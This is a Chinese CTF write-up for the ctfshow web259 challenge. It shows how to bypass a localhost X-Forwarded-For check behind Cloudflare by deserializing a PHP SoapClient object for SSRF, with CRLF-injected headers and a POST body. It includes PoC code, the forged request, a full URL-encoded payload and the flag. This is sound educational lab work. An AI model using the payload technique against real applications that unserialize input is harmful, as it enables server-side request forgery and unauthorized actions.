考察点:
1,SSRF
2,Cloudflare代理服务器
3,CRLF
4,原生类反序列化
解题过程:
分析代码
<?php highlight_file(__FILE__); //flag.php $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);// array_pop($xff); $ip = array_pop($xff); if($ip!=='127.0.0.1'){ die('error'); //bool }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } } $vip = unserialize($_GET['vip']); //$vip =new bool(); //vip can get flag one key $vip->getFlag(); }
array_pop()函数:去除数组最后一个元素
file_put_contents函数:把$flag写入flag.txt
explode()函数:把字符串打散为数组
介绍完函数,分析一下去获取flag的过程。 题目中 array_pop()函数 使用了两次,最后将ip赋给$ip,
这里说一下这个 array_pop()函数两次的过程
假设: 处理后 X-Forwarded-For:x,y ————>X-Forwarded-For:空 X-Forwarded-For:x,y,z ————>X-Forwarded-For:x
这里尝试去伪造 X-Forwarded-For,发现不行,因为使用了Cloudflare,至于如何去判断一个网站是否使用了Cloudflare,附一篇文章如何判断一个网站是否使用CloudFlare反向代理服务? 服务器 Gind.cn
当我们主机去访问一个有couldflare的网站时,网站收到的访问者 IP 地址通常会被隐藏。Cloudflare 作为一个反向代理服务,通过其全球分布的边缘节点中继用户的请求。这样做的目的是保护网站的安全和隐私,防止直接暴露真实的 IP 地址。一般情况下,如果一个网站启用了 Cloudflare 并未进行额外的配置,它收到的访问者 IP 地址将是 Cloudflare 边缘节点的 IP 地址,而不是最终用户的真实 IP 地址。
尝试去想其他的方法,我们看到代码最后有一个 $vip->getFlag(),代码里面并没有getFlag()这个方法,想到了php的原生类,可以通过SoapCilent,这样就调用了__call魔术方法,这里我去学习了SoapCilent原生类,SoapClient反序列化SSRF - 知乎 (zhihu.com)这里就思路清晰了,通过原生类去SSRF,去以127.0.0.1访问flag.php,pos传一个参数token=ctfshow,之后 file_put_contents函数 将flag写入flag.txt,访问flag.txt获得flag
先在本地测试http请求头都需要修改什么东西,
<?php $client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php')); $client->AAA(); ?>
在本地监听9999端口
POST /flag.php HTTP/1.1 Host: 127.0.0.1:9999 Connection: Keep-Alive User-Agent: PHP-SOAP/7.0.12 Content-Type: text/xml; charset=utf-8 SOAPAction: "127.0.0.1#AAA" Content-Length: 372
我们需要添加 X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1 这样两次处理后, X-Forwarded-For:127.0.0.1 ,达到目的 但是我们还要去修改后面的头部,以及提交的token参数,这时候 Content-Type:,就需要修改了,这里要去了解CRLF,CRLF Injection漏洞的利用与实例分析 - phith0n (wooyun.js.org)
我们用\r\n去通过 User-Agent:去构造我们后面想要的头部 在本地测试一下效果,
<?php $ua="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow"; $client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua)); $client->AAA(); //echo urlencode(serialize($client)); ?>
效果:
POST /flag.php HTTP/1.1 Host: 127.0.0.1:9999 Connection: Keep-Alive User-Agent: test X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1//因为本地没加函数 Content-Type:application/x-www-form-urlencoded Content-Length: 13 token=ctfshow//长度13 下面的丢弃 Content-Type: text/xml; charset=utf-8 SOAPAction: "127.0.0.1#AAA" Content-Length: 372
题目测试:
http://4b52a02f-df92-4045-997b-3fe2208d5bad.challenge.ctf.show/?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A136%3A%22test%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D 成功执行,可以访问flag.txt了 ctfshow{e1c60ce6-b350-4fb5-961d-fe86246bee4c}
总结:
这道题考察了很多的知识点,还有很多自己的知识盲区,第一次去接触php的原生类,以及Cloudflare。
标签:127.0,web259,Forwarded,0.1,22%,3A%,flag,ctfshow From: https://www.cnblogs.com/crazy168/p/17505094.html